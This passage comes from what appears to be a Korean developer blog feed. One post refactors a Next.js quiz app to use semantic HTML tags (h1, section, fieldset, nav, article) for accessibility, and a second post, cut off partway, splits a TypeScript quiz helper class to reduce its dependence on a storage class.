스크린 리더(Screen Reader)는 시각 장애인이나 시력이 약한 사용자를 위해 컴퓨터 화면에 표시된 내용을 음성으로 읽어주거나, 점자 디스플레이를 통해 전달해주는 보조 기술(Assistive Technology)입니다.</p>
</blockquote>
<p>스크린 리더는 웹 페이지의 구조와 의미를 HTML 시맨틱 태그를 통해 해석합니다.
예를 들어</p>
<p><code>&lt;h1&gt;~&lt;h6&gt;</code>: 제목의 계층 구조를 이해하고, 중요도에 따라 사용자가 탐색할 수 있도록 도와줍니다.
<code>&lt;nav&gt;</code>: 내비게이션 영역을 알려주어 빠르게 이동할 수 있게 합니다.
<code>&lt;main&gt;</code>: 주요 콘텐츠로 바로 이동할 수 있도록 지원합니다.
<code>&lt;button&gt;</code>: 클릭 가능한 버튼임을 명확히 전달합니다.</p>
<p>시맨틱 태그를 잘 사용하면 <strong>스크린 리더가 웹 페이지를 더 정확하고 효율적으로 해석할 수 있어 접근성이 높아집니다.</strong></p>
<h2 id="프로젝트-검토-및-적용">프로젝트 검토 및 적용</h2>
<p>위에서 알아봤듯이,<strong>시맨틱 태그를 적절히 설정하는 것은 DX,SEO,웹 접근성 향상에 도움을 준다</strong>는 것을 알아봤습니다.</p>
<p>그렇다면 저의 프로젝트에 적절히 시맨틱 태그들이 설정되어있는지 검토를 하고 적절치 않은 부분이 있다면 변경해보도록 하겠습니다.</p>
<blockquote>
<p>저의 프로젝트는 Nextjs를 사용하고 있습니다.</p>
</blockquote>
<h3 id="최상단-layouttsx-로고-h1-설정">최상단 layout.tsx, 로고 h1 설정</h3>
<p>최상단에서 항상 노출되고 있는 layout 컴포넌트입니다. 
모든 페이지에 적용되는 컴포넌트죠.</p>
<p>코드는 다음과 같습니다.</p>
<pre><code class="language-tsx">export default function RootLayout({
  children,
}: Readonly&lt;{
  children: React.ReactNode;
}&gt;) {
  return (
  &lt;ViewTransitions&gt;
    &lt;html lang=&quot;en&quot;&gt;
      &lt;body
        className={`${geistMono.className} antialiased bg-gray-100`}
      &gt;
      {/*웹 성능 측정*/}
      &lt;WebVitals/&gt;
      {/*헤더*/}
      &lt;Header/&gt;
      &lt;main
          className={&quot;w-full lg:h-[calc(100vh-80px)] md:h-[calc(100vh-60px)] sm:h-[calc(100vh-60px)] lg:flex lg:justify-center lg:items-center md:flex md:justify-center md:items-center sm:px-[10px] &quot;}&gt;
          &lt;ModalProvider&gt;
              {children}
          &lt;/ModalProvider&gt;
      &lt;/main&gt;
      &lt;/body&gt;
    &lt;/html&gt;
  &lt;/ViewTransitions&gt;
  );
}
</code></pre>
<pre><code class="language-tsx">&quot;use client&quot;

import PrimaryLink from &quot;@/app/_components/link/primaryLink&quot;;
import {usePathname} from &quot;next/navigation&quot;;
import React from &#39;react&#39;;

/**
 * 헤더
 */
const Header = () =&gt; {
    const pathname = usePathname();


    // 네비게이션 메뉴
    const NAVMENU = [
        {
            title: &quot;퀴즈&quot;,
            link: &quot;quiz&quot;,
        },
    ]


    // 현재 페이지에 맞는 클래스명
    function getActiveClass(link:string){
        if(pathname===`/${link}`){
            return &quot;bg-primary-normal text-black hover:bg-primary-dark &quot;
        }
    }
    return (
        &lt;header className={&quot;w-full h-[80px] md:h-[60px] sm:h-[60px] bg-headerBackground flex justify-between items-center lg:px-container md:px-10 sm:px-10&quot;}&gt;
            {/*로고,메뉴*/}
            &lt;div className={&quot;flex gap-10 items-center&quot;}&gt;
                &lt;PrimaryLink
                    href={&quot;/&quot;}
                    color={&quot;none&quot;}
                    className={&quot;text-primary-normal text-title1 font-bold&quot;}
                &gt;
                   코아
                &lt;/PrimaryLink&gt;
                &lt;nav&gt;
                    &lt;ul className={&quot;flex gap-3 text-title3Normal text-primary-normal&quot;}&gt;
                        {NAVMENU.map((item, index) =&gt; (
                            &lt;li key={index} className={`cursor-pointer px-[12px] flex justify-center items-center w-[100px]  h-[32px] rounded-[8px] hover:bg-primary-dark hover:text-black ${getActiveClass(item.link)}`}&gt;
                                &lt;PrimaryLink
                                    color={&quot;none&quot;}
                                    href={`/${item.link}`}
                                &gt;{item.title}&lt;/PrimaryLink&gt;
                            &lt;/li&gt;
                        ))}
                    &lt;/ul&gt;
                &lt;/nav&gt;
            &lt;/div&gt;
        &lt;/header&gt;
    );
};

export default Header;
</code></pre>
<p>위 컴포넌트는 헤더 컴포넌트입니다.
적절히 설정된 부분과 아닌 부분을 살펴보겠습니다.</p>
<h4 id="적절히-설정된-부분">적절히 설정된 부분</h4>
<ul>
<li>header: 헤더라는 목적에 맞게 header 태그를 적절히 사용한 것으로 보입니다.</li>
<li>nav 태그 : navigation,페이지 이동 목적에 맞게 적절히 nav태그를 사용한 것으로 확인됩니다.</li>
</ul>
<h4 id="개선할-부분">개선할 부분</h4>
<ul>
<li>로고 : <code>코아</code>라고 되있는 태그는 로고인데요. 이는 프로젝트의 핵심 요소입니다. 때문에 핵심적인 요소를 나타내는<strong><code>h1</code>태그로 감싸주는 것</strong>도 좋을 것 같다는 생각이 듭니다.</li>
</ul>
<pre><code class="language-tsx">        &lt;header className={&quot;w-full h-[80px] md:h-[60px] sm:h-[60px] bg-headerBackground flex gap-10 items-center lg:px-container md:px-10 sm:px-10&quot;}&gt;
            {/*로고,메뉴*/}
            &lt;h1&gt;
                &lt;PrimaryLink
                    href={&quot;/&quot;}
                    color={&quot;none&quot;}
                    className={&quot;text-primary-normal text-title1 font-bold&quot;}
                &gt;
                   코아
                &lt;/PrimaryLink&gt;
            &lt;/h1&gt;
                &lt;nav&gt;
                    &lt;ul className={&quot;flex gap-3 text-title3Normal text-primary-normal&quot;}&gt;
                        {NAVMENU.map((item, index) =&gt; (
                            &lt;li key={index} className={`cursor-pointer px-[12px] flex justify-center items-center w-[100px]  h-[32px] rounded-[8px] hover:bg-primary-dark hover:text-black ${getActiveClass(item.link)}`}&gt;
                                &lt;PrimaryLink
                                    color={&quot;none&quot;}
                                    href={`/${item.link}`}
                                &gt;{item.title}&lt;/PrimaryLink&gt;
                            &lt;/li&gt;
                        ))}
                    &lt;/ul&gt;
                &lt;/nav&gt;
        &lt;/header&gt;</code></pre>
<p>로고를 h1로 변경해주었고 중간에 굳이 필요없는 div태그를 없애주었습니다.</p>
<blockquote>
<p>위 헤더 컴포넌트를 컴포넌트로 더 분리할 필요가 있어보이네요.</p>
</blockquote>
<p>컴포넌트 분리까지 깔끔히 해보았습니다. 
아래와 같이 변경하니 Navigation만 클라이언트 컴포넌트로 변경하여 번들 사이즈를 티끌만큼 줄이는 효과도 볼 수 있겠네요.</p>
<pre><code class="language-tsx">import HeaderContainer from &quot;@/app/_layout/header/components/headerContainer&quot;;
import Logo from &quot;@/app/_layout/header/components/logo&quot;;
import Navigation from &quot;@/app/_layout/header/components/navigation&quot;;
import React from &#39;react&#39;;

/**
 * 헤더
 */
const Header = () =&gt; {

    return (
        &lt;HeaderContainer&gt;
            {/*로고*/}
            &lt;Logo/&gt;
            {/*네비게이션*/}
            &lt;Navigation/&gt;
        &lt;/HeaderContainer&gt;
    );
};

export default Header;
</code></pre>
<h2 id="메인-페이지hometsx">메인 페이지(Home.tsx)</h2>
<p>다음으로 메인 페이지입니다.</p>
<pre><code class="language-tsx">import HomeDescription from &quot;@/app/_home_components/homeDescription&quot;;
import HomeInnerContainer from &quot;@/app/_home_components/homeInnerContainer&quot;;
import HomeLink from &quot;@/app/_home_components/homeLink&quot;;
import HomeOuterContainer from &quot;@/app/_home_components/homeOuterContainer&quot;;
import HomeTitle from &quot;@/app/_home_components/homeTitle&quot;;


/**
 * 메인 페이지
 * SSG
 */
export const dynamic = &#39;force-static&#39;


export default function Home() {
  return (
    &lt;HomeOuterContainer&gt;
      {/* 내부 카피 컨텐츠  */}
          &lt;HomeInnerContainer&gt;
            {/* 메인 타이틀 */}
            &lt;HomeTitle
            title={&quot;개발자들의 아지트, 코아&quot;}
            /&gt;
            {/* 메인 설명 */}
            &lt;HomeDescription
                description={&quot;퀴즈로 실력을 키우고, 함께 성장하세요.&quot;}
            /&gt;
            {/* 메인 링크  */}
            &lt;HomeLink/&gt;
          &lt;/HomeInnerContainer&gt;
    &lt;/HomeOuterContainer&gt;
  );
}
</code></pre>
<p>컴포넌트들이 적절히 잘 나누어진 것으로 확인됩니다.</p>
<p>위에서부터 차례로 컴포넌트를 살펴보겠습니다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 외부 컨테이너
function HomeOuterContainer({
    children
                            }:{
    children: React.ReactNode
}) {
    return (
        &lt;div
            className=&quot;w-full h-full
    lg:pt-[250px] md:pt-[150px] sm:pt-[100px]&quot;
        &gt;
            {children}
        &lt;/div&gt;
    );
}

export default HomeOuterContainer;
</code></pre>
<p>페이지 전체 부분의 레이아웃을 담당하는 컴포넌트입니다.
주 목적이 레이아웃이죠.</p>
<p><strong>별다른 의미가 없고 레이아웃만의 목적일 때에는 div 태그를 사용해도 됩니다.</strong></p>
<blockquote>
<p>&quot;순수한&quot; 컨테이너로서, 이 <code>&lt;div&gt;</code>요소는 본질적으로 아무것도 나타내지 않습니다.</p>
</blockquote>
<h3 id="내부-컨테이너-div---section">내부 컨테이너, div -&gt; section</h3>
<p>그 다음 컴포넌트입니다.
이는 화면 사진과 함께 보면 어떠한 용도인지 파악이 더 빠를 것 같으니 화면도 첨부하겠습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/4f85a12b-3a33-4d6d-9eae-438b8b4e98c8/image.png" alt=""></p>
<p><strong>변경전</strong></p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 내부 컨테이너
function HomeInnerContainer({
    children
                            }:{
    children: React.ReactNode
}) {
    return (
        &lt;div
            className={&quot;flex justify-center items-center flex-col gap-[40px]&quot;}
        &gt;
            {children}
        &lt;/div&gt;
    );
}

export default HomeInnerContainer;</code></pre>
<p>화면 전체에서 위와 같이 타이틀과 설명 버튼을 감싸고 있는 컨테이너입니다.</p>
<p><code>div</code>태그로 감싸고 있습니다.</p>
<h4 id="section-태그로-변경">section 태그로 변경</h4>
<p>위 요소들은 메인 및 부제 카피 그리고 메인 서비스로 이동할 수 있는 버튼을 담고 있습니다.
<strong>서로 연관되어있는 요소들을 그룹핑할 때에는 <code>section</code>태그를 사용</strong>하는 것이 좋습니다.</p>
<p>보통 section은 제목(<code>&lt;h1&gt;~&lt;h6&gt;</code>)과 함께 사용되어야 하며, 제목으로 컨텐츠 집합을 명확히 구분합니다.</p>
<p>그래서 다음과 같이 section으로 변경해주었습니다.</p>
<p><strong>변경후</strong></p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 내부 컨테이너
function HomeInnerContainer({
    children
                            }:{
    children: React.ReactNode
}) {
    return (
        &lt;section
            className={&quot;flex justify-center items-center flex-col gap-[40px]&quot;}
        &gt;
            {children}
        &lt;/section&gt;
    );
}

export default HomeInnerContainer;
</code></pre>
<h4 id="hometitle메인-카피">HomeTitle(메인 카피)</h4>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 타이틀
function HomeTitle({
    title
                   }:{
    title: string
}) {
    return (
        &lt;h1 className={&quot;lg:text-headline2 md:text-headline3 sm:text-headline3 text-center&quot;}&gt;
            {title}
        &lt;/h1&gt;
    );
}

export default HomeTitle;
</code></pre>
<p>h1태그로 적절히 핵심요소를 다루고 있습니다.</p>
<h4 id="homedescription부제-카피">HomeDescription(부제 카피)</h4>
<p><strong>변경전</strong></p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 설명
function HomeDescription({
    description
                         }:{
    description: string
}) {
    return (
        &lt;p
            className={&quot;lg:text-headline3 md:text-title2Bold sm:text-title2Bold&quot;}
        &gt;
            {description}
        &lt;/p&gt;
    );
}

export default HomeDescription;
</code></pre>
<p>위는 부제목을 나타내는 컴포넌트입니다. </p>
<p>p태그는 특정 컨텐츠의 설명을 나타냅니다. 
위 컴포넌트의 목적은 설명보다는 제목의 뉘앙스가 더 강하기 때문에 h2로 변경해보겠습니다.</p>
<p><strong>변경후</strong></p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

// 메인 설명
function HomeDescription({
    description
                         }:{
    description: string
}) {
    return (
        &lt;h2
            className={&quot;lg:text-headline3 md:text-title2Bold sm:text-title2Bold&quot;}
        &gt;
            {description}
        &lt;/h2&gt;
    );
}

export default HomeDescription;
</code></pre>
<h2 id="퀴즈-시작하기-페이지">퀴즈 시작하기 페이지</h2>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/d6a078c6-51c6-4a86-a392-18afcfdfae72/image.png" alt=""></p>
<p>퀴즈 시작하기 페이지에서는 다음과 같이 특정 옵션을 선택하여 퀴즈를 시작할 수 있습니다.</p>
<pre><code class="language-tsx">import QuizIntroSection from &quot;@/app/(page)/quiz/_components/quizIntroSection&quot;;
import QuizOptionForm from &quot;@/app/(page)/quiz/_components/quizOptionForm/quizOptionForm&quot;;
import QuizStartSubTitle from &quot;@/app/(page)/quiz/_components/quizStartSubTitle&quot;;
import QuizStartTitle from &quot;@/app/(page)/quiz/_components/quizStartTitle&quot;;
import {Metadata} from &quot;next&quot;;
import React from &#39;react&#39;;

export const dynamic = &#39;force-static&#39;

export const metadata: Metadata = {
    title: &#39;퀴즈 시작하기&#39;,
    description: &#39;퀴즈를 통해 개발 지식을 테스트해 보세요.&#39; +
        &#39;프론트 엔드, 백엔드, 데이터베이스, 네트워크, 알고리즘 등 다양한 주제의 퀴즈를 풀어보세요.&#39;,

}

// 퀴즈 시작하기 페이지
async function Page (){
    return (
            &lt;&gt;
                {/*퀴즈 시작하기 페이지의 설명을 나타내는 컴포넌트*/}
                &lt;QuizIntroSection&gt;
                    {/*타이틀*/}
                    &lt;QuizStartTitle
                        title={&quot;퀴즈 시작하기&quot;}
                    /&gt;
                    {/*설명*/}
                    &lt;QuizStartSubTitle
                        description={&quot;퀴즈를 통해 개발 지식을 테스트해 보세요!&quot;}
                    /&gt;
                &lt;/QuizIntroSection&gt;
                {/*퀴즈 폼*/}
                &lt;QuizOptionForm/&gt;
            &lt;/&gt;

    );
}

export default Page;
</code></pre>
<p>위와 같은 구조로 구성되어있습니다.</p>
<p>그 중에서 QuizForm을 살펴보겠습니다.</p>
<pre><code class="language-tsx">&quot;use server&quot;

import QuizOptionFormContainer from &quot;@/app/(page)/quiz/_components/quizOptionForm/quizOptionFormContainer&quot;;
import QuizOptions from &quot;@/app/(page)/quiz/_components/quizOptionForm/quizOptions&quot;;
import QuizStartButton from &quot;@/app/(page)/quiz/_components/quizOptionForm/quizStartButton&quot;;
import React from &#39;react&#39;;

// 퀴즈 옵션 폼
function QuizOptionForm() {

    return (
        &lt;QuizOptionFormContainer&gt;
            {/*옵션*/}
            &lt;QuizOptions/&gt;
            {/*시작하기 버튼*/}
            &lt;QuizStartButton&gt;
                퀴즈 시작하기
            &lt;/QuizStartButton&gt;

        &lt;/QuizOptionFormContainer&gt;
    );
}

export default QuizOptionForm;
</code></pre>
<pre><code class="language-tsx">&quot;use client&quot;

import useQuizOptionFormAction from &quot;@/app/(page)/quiz/_hook/useQuizOptionFormAction&quot;;
import React from &#39;react&#39;;

// 폼 컨테이너
function QuizOptionFormContainer({
    children
                                 }:{
    children:React.ReactNode
}) {

    const {formAction} =useQuizOptionFormAction()

    return (
        &lt;form
            className={&quot;w-full&quot;}
            action={formAction}
        &gt;
            {children}
        &lt;/form&gt;
    );
}

export default QuizOptionFormContainer;
</code></pre>
<h3 id="div---fieldsetlegend">div -&gt; fieldset,legend</h3>
<pre><code class="language-tsx">&quot;use client&quot;

import {FIELD_OPTIONS, LANGUAGE_OPTIONS} from &quot;@/app/(page)/quiz/constant&quot;;
import Select from &quot;@/app/_components/select/select&quot;;
import React from &#39;react&#39;;

// 퀴즈 옵션 컴포넌트(분야)
function QuizOptions() {

    const [option,setOption] = React.useState&lt;{field:string,lang:string}&gt;({field:FIELD_OPTIONS[0].value,lang:LANGUAGE_OPTIONS[0].value});


    function handleOptionChange(value:string,key:&quot;field&quot;|&quot;lang&quot;){
        setOption({...option,[key]:value})
    }
    return (
        &lt;div className={&quot;flex flex-col gap-10 w-full&quot;}&gt;
            {/*분야*/}
            &lt;&gt;
                &lt;Select
                    label={&quot;분야&quot;}
                    options={FIELD_OPTIONS}
                    handleOptionChange={(value) =&gt; handleOptionChange(value as string, &quot;field&quot;)}
                /&gt;
                &lt;input
                    type={&quot;hidden&quot;}
                    name={&quot;field&quot;}
                    value={option.field}
                /&gt;
            &lt;/&gt;
        &lt;/div&gt;
    );
}

export default QuizOptions;
</code></pre>
<p>위 중에서 <code>QuizOptions</code>를 살펴볼게요.</p>
<p>퀴즈 옵션들 관련한 컴포넌트입니다.
이를 div 태그로 감싸고 있는데요.</p>
<p>다른 시맨틱 태그인 <code>fieldset</code>로 변경해보도록 하겠습니다.</p>
<blockquote>
<p>fieldset은 관련 있는 폼 내부 요소들을 그룹화하는 데 사용됩니다.</p>
</blockquote>
<pre><code class="language-tsx">&quot;use client&quot;

import {FIELD_OPTIONS, LANGUAGE_OPTIONS} from &quot;@/app/(page)/quiz/constant&quot;;
import Select from &quot;@/app/_components/select/select&quot;;
import React from &#39;react&#39;;

// 퀴즈 옵션 컴포넌트(분야)
function QuizOptions() {

    const [option,setOption] = React.useState&lt;{field:string,lang:string}&gt;({field:FIELD_OPTIONS[0].value,lang:LANGUAGE_OPTIONS[0].value});


    function handleOptionChange(value:string,key:&quot;field&quot;|&quot;lang&quot;){
        setOption({...option,[key]:value})
    }
    return (
        &lt;fieldset className={&quot;flex flex-col gap-10 w-full&quot;}&gt;
            &lt;legend&gt;퀴즈 옵션&lt;/legend&gt;
            {/*분야*/}
            &lt;&gt;
                &lt;Select
                    label={&quot;분야&quot;}
                    options={FIELD_OPTIONS}
                    handleOptionChange={(value) =&gt; handleOptionChange(value as string, &quot;field&quot;)}
                /&gt;
                &lt;input
                    type={&quot;hidden&quot;}
                    name={&quot;field&quot;}
                    value={option.field}
                /&gt;
            &lt;/&gt;

        &lt;/fieldset&gt;
    );
}

export default QuizOptions;
</code></pre>
<p>위와 같인 옵션들을 <strong>fieldset으로 감싸주고 legend를 통해 퀴즈 옵션이라는 텍스트로 표현하여 어떠한 옵션인지를 나타내줬습니다.</strong></p>
<h3 id="이동-버튼-컨테이너-div---nav">이동 버튼 컨테이너 ,div -&gt; nav</h3>
<p>다음과 같이 해설 페이지 이동하는 해설 버튼과 다음 문제로 이동하는 버튼이 있습니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/ae9b7936-1581-4345-af5c-d6bba3ee7a1c/image.png" alt=""></p>
<pre><code class="language-tsx">import AfterCheckButtonContainer
    from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizAnswerForm/afterCheckButtons/afterCheckButtonContainer&quot;;
import ExplanationLink
    from &quot;@/app/(page)/quiz/(page)/[detailUrl]/_components/client/quizAnswerForm/afterCheckButtons/explanationLink&quot;;
import NextQuizLink from &quot;@/app/(page)/quiz/_common_ui/client/nextQuizLink&quot;;
import React from &#39;react&#39;;

// 채점 후 버튼(해설, 다음문제)
function AfterCheckButtons() {

    return (
        &lt;AfterCheckButtonContainer&gt;
             {/*해설 링크*/}
             &lt;ExplanationLink/&gt;
             {/*다음 문제 링크*/}
             &lt;NextQuizLink/&gt;
        &lt;/AfterCheckButtonContainer&gt;
    );
}

export default AfterCheckButtons;
</code></pre>
<p><code>AfterCheckButtonContainer</code>는 이 버튼들을 감싸주는 역할을 합니다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

function AfterCheckButtonContainer({
    children
                                   }:{
    children: React.ReactNode
}) {
    return (
        &lt;div
            className={&quot;flex justify-center items-center gap-2 w-full&quot;}&gt;
            {children}
        &lt;/div&gt;
    );
}

export default AfterCheckButtonContainer;
</code></pre>
<p>위와 같이 가운데 정렬 해주는 용도로 컨테이너를 만들어줬는데요.</p>
<p>아무래도 이동 관련한 버튼들이니 목적에 맞게 <code>nav</code>태그로 변경해줘보겠습니다.</p>
<pre><code class="language-tsx">import React from &#39;react&#39;;

function AfterCheckButtonContainer({
    children
                                   }:{
    children: React.ReactNode
}) {
    return (
        &lt;nav
            aria-label={&quot;Quiz navigation&quot;}
            className={&quot;flex justify-center items-center gap-2 w-full&quot;}&gt;
            {children}
        &lt;/nav&gt;
    );
}

export default AfterCheckButtonContainer;

</code></pre>
<h3 id="퀴즈-해설-페이지fragment---article">퀴즈 해설 페이지,Fragment -&gt; article</h3>
<p>다음은 퀴즈 해설 페이지입니다.</p>
<p><img src="https://velog.velcdn.com/images/kcj_dev96/post/f8068d08-ab68-4ecc-bf22-2a511fa1214e/image.png" alt=""></p>
<p>퀴즈에 대한 해설 페이지인데요.
이를 Fragment로 감싸고 있었습니다.</p>
<pre><code class="language-tsx">
async function Page({
                        params
                    }:{
    params:Params
}) {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)


    return (
        &lt;&gt;
            {/*퀴즈 설명 타이틀*/}
            &lt;QuizExplanationTitle
                title={data.metaTitle}
            /&gt;
            {/*퀴즈 설명 내용*/}
            &lt;QuizExplanationContent
                content={data.explanation}
                /&gt;
            &lt;ButtonContainer&gt;
                {/*돌아가기 버튼*/}
                &lt;ReturnButton returnUrl={detailUrl}/&gt;
                {/*다음 퀴즈 버튼*/}
                &lt;NextQuizLink/&gt;
            &lt;/ButtonContainer&gt;
        &lt;/&gt;
    );
}

export default Page;
</code></pre>
<p>위 컨텐츠들은 독립적으로 분류해서 사용할 수 있어보입니다.때문에 그 특성에 맞는 article 태그로 사용해보겠습니다.</p>
<blockquote>
<p><code>&lt;article&gt;</code> 요소는 문서, 페이지, 애플리케이션, 또는 사이트 안에서 <strong>독립적으로 구분해 배포하거나 재사용할 수 있는 구획</strong>을 나타냅니다. 사용 예제로 게시판과 블로그 글, 매거진이나 뉴스 기사 등이 있습니다.</p>
</blockquote>
<pre><code class="language-tsx">
async function Page({
                        params
                    }:{
    params:Params
}) {

    const { detailUrl } = await params
    const {data} = await quizApiHandler.fetchQuizDetailByUrl(detailUrl)


    return (
        &lt;article&gt;
            {/*퀴즈 설명 타이틀*/}
            &lt;QuizExplanationTitle
                title={data.metaTitle}
            /&gt;
            {/*퀴즈 설명 내용*/}
            &lt;QuizExplanationContent
                content={data.explanation}
                /&gt;
            &lt;ButtonContainer&gt;
                {/*돌아가기 버튼*/}
                &lt;ReturnButton returnUrl={detailUrl}/&gt;
                {/*다음 퀴즈 버튼*/}
                &lt;NextQuizLink/&gt;
            &lt;/ButtonContainer&gt;
        &lt;/article&gt;
    );
}

export default Page;
</code></pre>
<h2 id="정리">정리</h2>
<p>위와 같이 기존에 있는 태그들을 목적에 맞게 시맨틱 태그로 변경해봤습니다.</p>
<p>현재 한번에 모든 태그들을 시맨틱 태그로 리팩토링해보았는데, 추후에 컴포넌트 설계할 때에는 컴포넌트의 목적을 한번 더 생각하며 태그를 구성해야겠습니다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[리팩토링-목적에 맞게 클래스 구분]]></title>
            <link>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EB%AA%A9%EC%A0%81%EC%97%90-%EB%A7%9E%EA%B2%8C-%ED%81%B4%EB%9E%98%EC%8A%A4-%EA%B5%AC%EB%B6%84</link>
            <guid>https://velog.io/@kcj_dev96/%EB%A6%AC%ED%8C%A9%ED%86%A0%EB%A7%81-%EB%AA%A9%EC%A0%81%EC%97%90-%EB%A7%9E%EA%B2%8C-%ED%81%B4%EB%9E%98%EC%8A%A4-%EA%B5%AC%EB%B6%84</guid>
            <pubDate>Thu, 19 Dec 2024 15:17:51 GMT</pubDate>
            <description><![CDATA[<p>프로젝트에서 퀴즈 도메인 관련 비즈니스 로직을 응집도있게 관리하기 위해 다음과 같이 class로 관리하였습니다.</p>
<pre><code class="language-ts">import {QuizNavigator} from &quot;@/app/(page)/quiz/_helper/QuizNavigator&quot;;
import {QuizStorageManager} from &quot;@/app/(page)/quiz/_helper/QuizStoreManager&quot;;
import {ArrayUtils} from &quot;@/app/_utils/class/ArrayUtils&quot;;

// 퀴즈 로직 관련 클래스
export class QuizHelper {

    constructor(
        private storageManager: QuizStorageManager,
        private navigator: QuizNavigator,
    ) {}

    // 푼 문제 저장, 기존에 푼 문제가 있다면 추가,없다면 새로 저장
    saveSolvedQuiz(currentQuiz: string) {
        const solvedQuizList = this.storageManager.getSolvedQuiz();
        const updatedList = ArrayUtils.removeDuplicate([...solvedQuizList, currentQuiz]);
        this.storageManager.saveSolvedQuiz(updatedList);
    }

    // 안 푼 문제 중 랜덤으로 하나 반환
     getRandomOneFromUnsolvedQuiz() {
        const unsolvedQuiz = this.getUnsolvedQuiz();
        return ArrayUtils.pickRandomOne&lt;string&gt;(unsolvedQuiz);
    }

    // 모든 퀴즈를 푼 경우, 퀴즈 완료 페이지로 이동
    redirectToCompletionPageIfAllSolved(){
        if(this.isAllQuizSolved()) {
            this.navigator.navigate(&quot;/quiz/completed&quot;);
        }
    }


    // 안 푼 문제 조회
    getUnsolvedQuiz(): string[] {
        const quizUrlList = this.storageManager.getQuizUrlList();
        const solvedQuiz = this.storageManager.getSolvedQuiz();
        return ArrayUtils.getDifference&lt;string&gt;(quizUrlList, solvedQuiz);
    }

    // 모든 퀴즈가 풀렸는지 확인
    isAllQuizSolved(): boolean {
        const quizUrlList = this.storageManager.getQuizUrlList();
        const solvedQuiz = this.storageManager.getSolvedQuiz();

        const isNotEmptyQuizUrlList = quizUrlList.length &gt; 0;
        const isNotEmptySolvedQuiz = solvedQuiz.length &gt; 0;

        return isNotEmptyQuizUrlList
            &amp;&amp;isNotEmptySolvedQuiz
            &amp;&amp;ArrayUtils.isEqualLength&lt;string&gt;(quizUrlList, solvedQuiz);
    }

}
</code></pre>
<p>위 클래스는 <code>QuizStorageManager</code>라는 클래스를 주입받아 내부적으로 메서드들이 사용하고 있습니다.</p>
<h2 id="목적에-부합하지-못한-class">목적에 부합하지 못한 class</h2>
<p>하지만 위 클래스가 범용적이지 못하다고 생각이 들었습니다.
왜냐하면 <code>QuizStorageManager</code>에 종속적이기때문이죠.</p>
<p>현재는 어쩌다보니 내부 메서드들이 모두 <code>QuizStorageManager</code>에 연관되어있습니다. 때문에 처음에 위처럼 설계를 한 것인데요.</p>
<p>추후에 퀴즈 관련 다른 로직을 위 메서드에 추가한다고 했을 때, 만약 <code>QuizStorageManager</code>와 연관이 없는 메서드가 추가되었다고 해보겠습니다.</p>
<pre><code class="language-ts">import {QuizNavigator} from &quot;@/app/(page)/quiz/_helper/QuizNavigator&quot;;
import {QuizStorageManager} from &quot;@/app/(page)/quiz/_helper/QuizStoreManager&quot;;
import {ArrayUtils} from &quot;@/app/_utils/class/ArrayUtils&quot;;

// 퀴즈 로직 관련 클래스
export class QuizHelper {

    constructor(
        private storageManager: QuizStorageManager,
        private navigator: QuizNavigator,
    ) {}

    // 푼 문제 저장, 기존에 푼 문제가 있다면 추가,없다면 새로 저장
    saveSolvedQuiz(currentQuiz: string) {
        const solvedQuizList = this.storageManager.getSolvedQuiz();
        const updatedList = ArrayUtils.removeDuplicate([...solvedQuizList, currentQuiz]);
        this.storageManager.saveSolvedQuiz(updatedList);
    }

    // 안 푼 문제 중 랜덤으로 하나 반환
     getRandomOneFromUnsolvedQuiz() {
        const unsolvedQuiz = this.getUnsolvedQuiz();
        return ArrayUtils.pickRandomOne&lt;string&gt;(unsolvedQuiz);
    }

...
    // 오늘의 퀴즈
    getTodayQuiz(){
        }
</code></pre>
<p><code>QuizStorageManager</code>와 연관이 없음에도 불구하고 위 <code>getTodayQuiz</code> 메서드를 사용하기 위해서는 <code>QuizStorageManager</code>를 주입받아야합니다.</p>
<h2 id="목적에-맞도록-class-구분">목적에 맞도록 class 구분</h2>
<p>그래서 위와 같이 <code>QuizStorageManager</code>와 연관있는 위 클래스와 <code>QuizStorageManager</code>와 연관없는 클래스를 구분하기로 하였습니다.</p>
<p>다음처럼 기존에 <code>QuizHelper</code>라고 명명되어있던 클래스를 <code>QuizStorageHelper</code>로 class명만 바꾸어주었습니다.</p>
<pre><code class="language-ts">import {QuizStorage} from &quot;@/app/(page)/quiz/_helper/QuizStorage&quot;;
import {ArrayUtils} from &quot;@/app/_utils/class/ArrayUtils&quot;;

// 퀴즈 로직 관련 클래스
export class QuizStorageHelper {

    constructor(
        private storageManager: QuizStorage,
    ) {}

    // 푼 문제 저장, 기존에 푼 문제가 있다면 추가,없다면 새로 저장
    saveSolvedQuiz(currentQuiz: string) {
        const solvedQuizList = this.storageManager.getSolvedQuiz();
        const updatedList = ArrayUtils.removeDuplicate([...solvedQuizList, currentQuiz]);
        this.storageManager.saveSolvedQuiz(updatedList);
    }

    // 안 푼 문제 중 랜덤으로 하나 반환
     getRandomOneFromUnsolvedQuiz() {
        const unsolvedQuiz = this.getUnsolvedQuiz();
        return ArrayUtils.pickRandomOne&lt;string&gt;(unsolvedQuiz);
    }

    // 모든 퀴즈를 푼 경우, 퀴즈 완료 페이지로 이동
    redirectToCompletionPageIfAllSolved(navigate: (url: string) =&gt; void){
        if(this.isAllQuizSolved()) {
            navigate(&quot;/quiz/completed&quot;);
        }
    }


    // 안 푼 문제 조회
    getUnsolvedQuiz(): string[] {
        const quizUrlList = this.storageManager.getQuizUrlList();
        const solvedQuiz = this.storageManager.getSolvedQuiz();
        return ArrayUtils.getDifference&lt;string&gt;(quizUrlList, solvedQuiz);
    }

    // 모든 퀴즈가 풀렸는지 확인
    isAllQuizSolved(): boolean {
        const quizUrlList = this.storageManager.getQuizUrlList();
        const solvedQuiz = this.storageManager.getSolvedQuiz();

        const isNotEmptyQuizUrlList = quizUrlList.length &gt; 0;
